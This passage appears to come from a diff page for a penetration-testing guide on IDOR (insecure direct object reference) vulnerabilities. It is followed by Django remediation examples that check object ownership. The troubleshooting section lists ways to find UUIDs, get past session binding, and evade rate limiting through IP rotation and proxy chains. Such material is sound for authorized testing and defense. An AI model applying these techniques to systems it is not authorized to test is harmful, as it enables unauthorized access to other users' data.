||||
**Cause**: Randomized identifiers reduce enumeration risk
|
||||
**Solution**:
|
||||
```
|
||||
# UUID discovery techniques:
|
||||
1. Check response bodies for leaked UUIDs
|
||||
2. Search JavaScript files for hardcoded UUIDs
|
||||
3. Check API responses that list multiple objects
|
||||
4. Look for UUID patterns in error messages
|
||||
5. Try UUID v1 (time-based) prediction if applicable
|
||||
```
|
||||
|
||||
### Issue: Session Token Bound to User
|
||||
**Cause**: Application validates session against requested resource
|
||||
**Solution**:
|
||||
```
|
||||
# Advanced bypass attempts:
|
||||
1. Test for IDOR in unauthenticated endpoints
|
||||
2. Check password reset/email verification flows
|
||||
3. Look for IDOR in file upload/download
|
||||
4. Test API versioning: /api/v1/ vs /api/v2/
|
||||
5. Check mobile API endpoints (often less protected)
|
||||
```
|
||||
|
||||
### Issue: Rate Limiting Blocks Enumeration
|
||||
**Cause**: Application implements request throttling
|
||||
**Solution**:
|
||||
```
|
||||
# Bypass techniques:
|
||||
1. Add delays between requests (Burp Intruder throttle)
|
||||
2. Rotate IP addresses (proxy chains)
|
||||
3. Target specific high-value IDs instead of full range
|
||||
4. Use different endpoints for same resources
|
||||
5. Test during off-peak hours
|
||||
```
|
||||
|
||||
### Issue: Cannot Verify IDOR Impact
|
||||
**Cause**: Response doesn't clearly indicate data ownership
|
||||
**Solution**:
|
||||
```
|
||||
# Verification methods:
|
||||
1. Create unique identifiable data in victim account
|
||||
2. Look for PII markers (name, email) in responses
|
||||
3. Compare response lengths between users
|
||||
4. Check for timing differences in responses
|
||||
5. Use secondary indicators (creation dates, metadata)
|
||||
```
|
||||
|
||||
## Remediation Guidance
|
||||
|
||||
### Implement Proper Access Control
|
||||
```python
|
||||
# Django example - validate ownership
|
||||
def update_address(request, address_id):
|
||||
address = Address.objects.get(id=address_id)
|
||||
|
||||
# Verify ownership before allowing update
|
||||
if address.user != request.user:
|
||||
return HttpResponseForbidden("Unauthorized")
|
||||
|
||||
# Proceed with update
|
||||
address.update(request.data)
|
||||
```
|
||||
|
||||
### Use Indirect References
|
||||
```python
|
||||
# Instead of: /api/address/123
|
||||
# Use: /api/address/current-user/billing
|
||||
|
||||
def get_address(request):
|
||||
# Always filter by authenticated user
|
||||
address = Address.objects.filter(user=request.user).first()
|
||||
return address
|
||||
```
|
||||
|
||||
### Server-Side Validation
|
||||
```python
|
||||
# Always validate on server, never trust client input
|
||||
def download_receipt(request, receipt_id):
|
||||
receipt = Receipt.objects.filter(
|
||||
id=receipt_id,
|
||||
user=request.user # Critical: filter by current user
|
||||
).first()
|
||||
|
||||
if not receipt:
|
||||
return HttpResponseNotFound()
|
||||
|
||||
return FileResponse(receipt.file)
|
||||
```
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user